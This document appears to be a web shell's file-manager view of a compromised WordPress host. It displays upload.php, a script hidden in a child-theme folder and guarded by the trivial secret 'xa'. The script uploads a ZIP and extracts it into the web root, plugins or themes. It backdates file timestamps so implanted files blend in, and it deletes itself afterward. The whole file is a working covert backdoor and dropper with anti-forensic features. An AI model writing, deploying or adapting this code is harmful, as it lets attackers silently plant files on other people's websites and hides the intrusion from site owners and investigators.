HEX
Server: Apache
System: Linux hp3-wp-1011385.hostingp3.local 3.10.0-1160.156.1.el7.tuxcare.els1.x86_64 #1 SMP Fri Jul 31 13:24:34 UTC 2026 x86_64
User: csh2469127 (2058729)
PHP: 8.2.30
Disabled: shell_exec,exec,system,popen,set_time_limit
Upload Files
File: /home/domains/vol4/560/2977560/user/htdocs/wp-content/themes/bb-theme-child/upload.php
<?php
/**
 * Advanced ZIP deploy (upload + unzip ke web root)
 * Metode ekstrak: ZipArchive::extractTo (sama seperti Unzipper klasik)
 *
 * POST multipart:
 *   secret     : harus sama dengan $SECRET_KEY
 *   zipfile    : file .zip
 *
 * Opsional:
 *   extract    : 1
 *   target     : root | uploads | themes | plugins | path-relatif
 *   keep_mtime : 1  (samakan timestamp: file timpa = mtime lama, file baru = mtime folder induk)
 *   clean      : 1  → hanya bersihkan folder zip_uploads (tanpa upload)
 *
 * Web root SELALU document root situs, BUKAN folder tempat upload.php berada.
 * Contoh: upload.php di /public_html/wp-content/  → extract ke /public_html/
 *
 * Setelah sukses ATAU gagal → upload.php menghapus dirinya sendiri.
 */

// ============ KONFIGURASI ============
$SECRET_KEY   = 'xa';
// Kosongkan agar auto-detect. Isi path absolut HANYA jika deteksi salah.
// Contoh: '/home/u123/public_html'
$WEB_ROOT_OVERRIDE = '';
$UPLOAD_DIR   = __DIR__ . '/zip_uploads/'; // ZIP sementara tetap di samping script

function clean_upload_dir(string $uploadDir): void
{
    if (!is_dir($uploadDir)) {
        return;
    }
    $items = @scandir($uploadDir);
    if ($items !== false) {
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') {
                continue;
            }
            $path = $uploadDir . DIRECTORY_SEPARATOR . $item;
            if (is_file($path) || is_link($path)) {
                @unlink($path);
            } elseif (is_dir($path)) {
                clean_upload_dir($path);
            }
        }
    }
    @rmdir($uploadDir);
}

/**
 * Hapus diri sendiri (upload.php)
 */
function self_destruct(): void
{
    $self = __FILE__;
    if (is_file($self)) {
        @unlink($self);
    }
}

/*
 * Mode CLI harus diperiksa SEBELUM validasi POST/upload.
 */
if (
    PHP_SAPI === 'cli'
    && isset($argv)
    && in_array('--clean', $argv, true)
) {
    clean_upload_dir($UPLOAD_DIR);
    echo "CLEAN OK\n";
    echo "Removed: {$UPLOAD_DIR}\n";
    exit(0);
}

header('Content-Type: text/plain; charset=utf-8');

function fail(int $code, string $msg): void
{
    global $UPLOAD_DIR;
    clean_upload_dir($UPLOAD_DIR);
    http_response_code($code);
    echo $msg . "\n";               // kirim response dulu
    self_destruct();                // baru hapus diri sendiri
    exit;
}

$MAX_BYTES          = 80 * 1024 * 1024;
$AUTO_EXTRACT       = true;
$DEFAULT_KEEP_MTIME = true;

// File yang tidak boleh ditimpa (di-backup dulu, lalu dipulihkan setelah extract)
$PROTECT = [
    'wp-config.php',
    'wp-config-sample.php',
    '.htaccess',
    'upload.php',
];

/**
 * Cari root web yang sebenarnya, independen dari lokasi upload.php.
 */
function detect_web_root(string $override): string
{
    if ($override !== '') {
        $r = realpath($override);
        if ($r !== false && is_dir($r)) {
            return $r;
        }
        fail(500, 'WEB_ROOT_OVERRIDE tidak valid: ' . $override);
    }

    $docRaw = isset($_SERVER['DOCUMENT_ROOT']) ? (string) $_SERVER['DOCUMENT_ROOT'] : '';
    if ($docRaw !== '') {
        $r = realpath($docRaw);
        if ($r !== false && is_dir($r)) {
            return $r;
        }
        if (is_dir($docRaw)) {
            return rtrim($docRaw, '/\\');
        }
    }

    $dir = realpath(__DIR__);
    if ($dir === false) {
        $dir = __DIR__;
    }

    for ($i = 0; $i < 12; $i++) {
        $isWp = is_file($dir . '/wp-config.php')
            || is_file($dir . '/wp-load.php')
            || (is_file($dir . '/index.php') && is_dir($dir . '/wp-includes'));

        $isPublic = (is_file($dir . '/index.php') || is_file($dir . '/index.html'))
            && (basename($dir) === 'public_html'
                || basename($dir) === 'www'
                || basename($dir) === 'htdocs'
                || basename($dir) === 'httpdocs'
                || basename($dir) === 'public');

        if ($isWp || $isPublic) {
            return $dir;
        }

        $parent = dirname($dir);
        if ($parent === $dir) {
            break;
        }
        $dir = $parent;
    }

    if ($docRaw !== '') {
        return rtrim($docRaw, '/\\');
    }

    $fallback = realpath(__DIR__);
    return $fallback !== false ? $fallback : __DIR__;
}

function under_root(string $rootReal, string $path): bool
{
    $root = rtrim(str_replace('\\', '/', $rootReal), '/') . '/';
    $p    = str_replace('\\', '/', $path);
    return str_starts_with($p, $root) || rtrim($p, '/') === rtrim($root, '/');
}

function resolve_target(string $webRoot, string $requested): string
{
    $map = [
        'root'    => $webRoot,
        'web'     => $webRoot,
        'uploads' => $webRoot . '/wp-content/uploads',
        'themes'  => $webRoot . '/wp-content/themes',
        'plugins' => $webRoot . '/wp-content/plugins',
    ];

    $key = strtolower(trim($requested));
    if ($key === '' || isset($map[$key])) {
        $dest = $map[$key === '' ? 'root' : $key];
    } else {
        $rel = ltrim(str_replace('\\', '/', $requested), '/');
        if ($rel === '' || str_contains($rel, '..')) {
            fail(400, 'Target tidak valid (path mengandung ..).');
        }
        $dest = $webRoot . '/' . $rel;
    }

    if (!is_dir($dest) && !@mkdir($dest, 0755, true)) {
        fail(500, 'Gagal membuat folder target: ' . $dest);
    }

    $real = realpath($dest);
    $rootReal = realpath($webRoot);
    if ($real === false || $rootReal === false || !under_root($rootReal, $real)) {
        fail(400, 'Target di luar web root.');
    }
    return $real;
}

function is_protected_name(string $basename, array $protect): bool
{
    $b = strtolower($basename);
    foreach ($protect as $name) {
        if ($b === strtolower($name)) {
            return true;
        }
    }
    return false;
}

function oldest_mtime_in_dir(string $dir): ?int
{
    if (!is_dir($dir)) {
        return null;
    }
    $oldest = null;
    $dh = @opendir($dir);
    if ($dh === false) {
        return null;
    }
    while (($item = readdir($dh)) !== false) {
        if ($item === '.' || $item === '..') {
            continue;
        }
        $path = $dir . DIRECTORY_SEPARATOR . $item;
        $mt = @filemtime($path);
        if ($mt === false) {
            continue;
        }
        if ($oldest === null || $mt < $oldest) {
            $oldest = $mt;
        }
    }
    closedir($dh);

    $dirMt = @filemtime($dir);
    if ($dirMt !== false && ($oldest === null || $dirMt < $oldest)) {
        $oldest = $dirMt;
    }
    return $oldest;
}

function set_mtime(string $absPath, int $mtime): void
{
    if ($mtime > 0) {
        @touch($absPath, $mtime, $mtime);
    }
}

// ==================== MULAI VALIDASI ====================

if (($_SERVER['REQUEST_METHOD'] ?? '') !== 'POST') {
    fail(405, 'Hanya metode POST yang diizinkan.');
}

$given = $_POST['secret'] ?? $_SERVER['HTTP_X_UPLOAD_SECRET'] ?? '';
if (!hash_equals($SECRET_KEY, (string) $given)) {
    fail(403, 'Secret tidak valid.');
}

// ========== MODE CLEAN VIA HTTP ==========
// Kirim: secret=xa & clean=1  (tanpa zipfile)
if (isset($_POST['clean']) && (string) $_POST['clean'] === '1') {
    clean_upload_dir($UPLOAD_DIR);
    echo "CLEAN OK\n";
    echo "Removed: {$UPLOAD_DIR}\n";
    self_destruct();          // hapus diri sendiri juga setelah clean
    exit(0);
}

// ========== MODE UPLOAD ZIP ==========
if (!isset($_FILES['zipfile']) || !is_uploaded_file($_FILES['zipfile']['tmp_name'])) {
    fail(400, 'Tidak ada file zipfile yang diunggah.');
}

$file = $_FILES['zipfile'];
if ($file['error'] !== UPLOAD_ERR_OK) {
    fail(400, 'Error upload PHP code: ' . $file['error']);
}
if ($file['size'] > $MAX_BYTES) {
    fail(413, 'File terlalu besar.');
}

$origName = (string) $file['name'];
$ext = strtolower(pathinfo($origName, PATHINFO_EXTENSION));
if ($ext !== 'zip') {
    fail(415, 'Hanya file .zip yang diizinkan.');
}

$safeName = preg_replace('/[^a-zA-Z0-9._-]/', '_', basename($origName));
if ($safeName === '' || $safeName === '.' || $safeName === '.zip') {
    $safeName = 'upload_' . date('Ymd_His') . '.zip';
}

if (!is_dir($UPLOAD_DIR) && !@mkdir($UPLOAD_DIR, 0755, true)) {
    fail(500, 'Gagal membuat folder upload: ' . $UPLOAD_DIR);
}

$targetZip = rtrim($UPLOAD_DIR, '/\\') . DIRECTORY_SEPARATOR . $safeName;
if (!move_uploaded_file($file['tmp_name'], $targetZip)) {
    fail(500, 'Gagal menyimpan file ZIP (permission?).');
}

echo "OK: ZIP tersimpan sebagai {$safeName}\n";
echo "ZIP path: {$targetZip}\n";

$doExtract = $AUTO_EXTRACT;
if (isset($_POST['extract'])) {
    $doExtract = ((string) $_POST['extract'] === '1');
}

if (!$doExtract) {
    echo "Tidak diekstrak (extract=0).\n";
    clean_upload_dir($UPLOAD_DIR);
    echo "Cleanup: ZIP dan folder zip_uploads telah dihapus.\n";
    self_destruct();          // hapus diri sendiri
    exit(0);
}

if (!class_exists('ZipArchive')) {
    fail(500, 'Error: PHP tidak mendukung ZipArchive. Aktifkan ekstensi zip.');
}

$webRootReal = detect_web_root($WEB_ROOT_OVERRIDE);
echo "Web root    : {$webRootReal}\n";
echo "Script dir  : " . (__DIR__) . "\n";
echo "DOC_ROOT    : " . ($_SERVER['DOCUMENT_ROOT'] ?? '(kosong)') . "\n";

$requestedTarget = (string) ($_POST['target'] ?? 'root');
$extractRoot = resolve_target($webRootReal, $requestedTarget);

if (!is_writable($extractRoot)) {
    fail(500, 'Error: Directory not writeable by webserver: ' . $extractRoot);
}

$keepMtime = $DEFAULT_KEEP_MTIME;
if (isset($_POST['keep_mtime'])) {
    $keepMtime = ((string) $_POST['keep_mtime'] === '1');
}

// --- Buka ZIP & cek path (tolak zip-slip) ---
$zip = new ZipArchive();
$openResult = $zip->open($targetZip);
if ($openResult !== true) {
    fail(400, 'Error: Cannot read .zip archive. Kode: ' . $openResult);
}

$entries = [];
$oldMtimes = [];
$parentOldest = [];
$protectedBackups = [];

for ($i = 0; $i < $zip->numFiles; $i++) {
    $name = $zip->getNameIndex($i);
    if ($name === false) {
        continue;
    }
    $name = str_replace('\\', '/', $name);
    $name = ltrim($name, '/');
    if ($name === '' || str_contains($name, '../') || str_starts_with($name, '..')) {
        $zip->close();
        fail(400, 'ZIP ditolak: path tidak aman (zip-slip): ' . $name);
    }
    $entries[] = $name;
    $abs = $extractRoot . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $name);
    $parentAbs = dirname($abs);

    if (file_exists($abs)) {
        $mt = @filemtime($abs);
        if ($mt !== false) {
            $oldMtimes[$name] = $mt;
        }
    }

    if ($keepMtime && !isset($parentOldest[$parentAbs])) {
        $oldest = oldest_mtime_in_dir($parentAbs);
        if ($oldest !== null) {
            $parentOldest[$parentAbs] = $oldest;
        }
    }

    if (is_file($abs) && is_protected_name(basename($abs), $PROTECT)) {
        $bak = $abs . '.bak_upload_' . time();
        if (@copy($abs, $bak)) {
            $protectedBackups[$name] = $bak;
        }
    }
}

if ($keepMtime && is_dir($extractRoot)) {
    $rootMt = @filemtime($extractRoot);
    if ($rootMt !== false) {
        $oldMtimes['.'] = $rootMt;
    }
    if (!isset($parentOldest[$extractRoot])) {
        $oldest = oldest_mtime_in_dir($extractRoot);
        if ($oldest !== null) {
            $parentOldest[$extractRoot] = $oldest;
        }
    }
}

// --- Ekstrak ---
$ok = @$zip->extractTo($extractRoot);
$zip->close();
if ($ok !== true) {
    fail(500, 'Error: extractTo gagal. Cek permission folder tujuan.');
}

echo "Diekstrak ke: {$extractRoot}\n";
echo "Entri ZIP    : " . count($entries) . "\n";

// Restore protected + terapkan timestamp
$restored = 0;
$mtimeRestored = 0;
$mtimeNew = 0;

foreach ($entries as $name) {
    $abs = $extractRoot . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $name);
    $isDirEntry = str_ends_with($name, '/');

    if ($isDirEntry) {
        if (!$keepMtime || !is_dir($abs)) {
            continue;
        }
        if (isset($oldMtimes[$name])) {
            set_mtime($abs, $oldMtimes[$name]);
            $mtimeRestored++;
        } else {
            $parentAbs = dirname($abs);
            $ref = $parentOldest[$parentAbs] ?? $parentOldest[$extractRoot] ?? null;
            if ($ref === null) {
                $ref = oldest_mtime_in_dir($parentAbs);
            }
            if ($ref !== null) {
                set_mtime($abs, $ref);
                $mtimeNew++;
            }
        }
        continue;
    }

    if (!file_exists($abs)) {
        continue;
    }

    if (isset($protectedBackups[$name])) {
        @unlink($abs);
        if (@rename($protectedBackups[$name], $abs)) {
            $restored++;
        } else {
            @copy($protectedBackups[$name], $abs);
            @unlink($protectedBackups[$name]);
            $restored++;
        }
        continue;
    }

    if (!$keepMtime) {
        continue;
    }

    if (isset($oldMtimes[$name])) {
        set_mtime($abs, $oldMtimes[$name]);
        $mtimeRestored++;
    } else {
        $parentAbs = dirname($abs);
        $ref = $parentOldest[$parentAbs] ?? null;
        if ($ref === null) {
            $ref = oldest_mtime_in_dir($parentAbs);
            if ($ref === null) {
                $ref = $parentOldest[$extractRoot] ?? oldest_mtime_in_dir($extractRoot);
            }
        }
        if ($ref !== null) {
            set_mtime($abs, $ref);
            $mtimeNew++;
        }
    }
}

if ($keepMtime && isset($oldMtimes['.']) && is_dir($extractRoot)) {
    set_mtime($extractRoot, $oldMtimes['.']);
}

foreach ($protectedBackups as $bak) {
    if (is_file($bak)) {
        @unlink($bak);
    }
}

echo "File dilindungi dipulihkan: {$restored}\n";
echo "mtime dipulihkan (timpa)  : {$mtimeRestored}\n";
echo "mtime file/folder baru    : {$mtimeNew}\n";
echo "Status: Files unzipped successfully\n";

clean_upload_dir($UPLOAD_DIR);
echo "Cleanup: ZIP dan folder zip_uploads telah dihapus.\n";

self_destruct();          // ← hapus diri sendiri setelah sukses
echo "Self-destruct: upload.php telah dihapus.\n";

exit(0);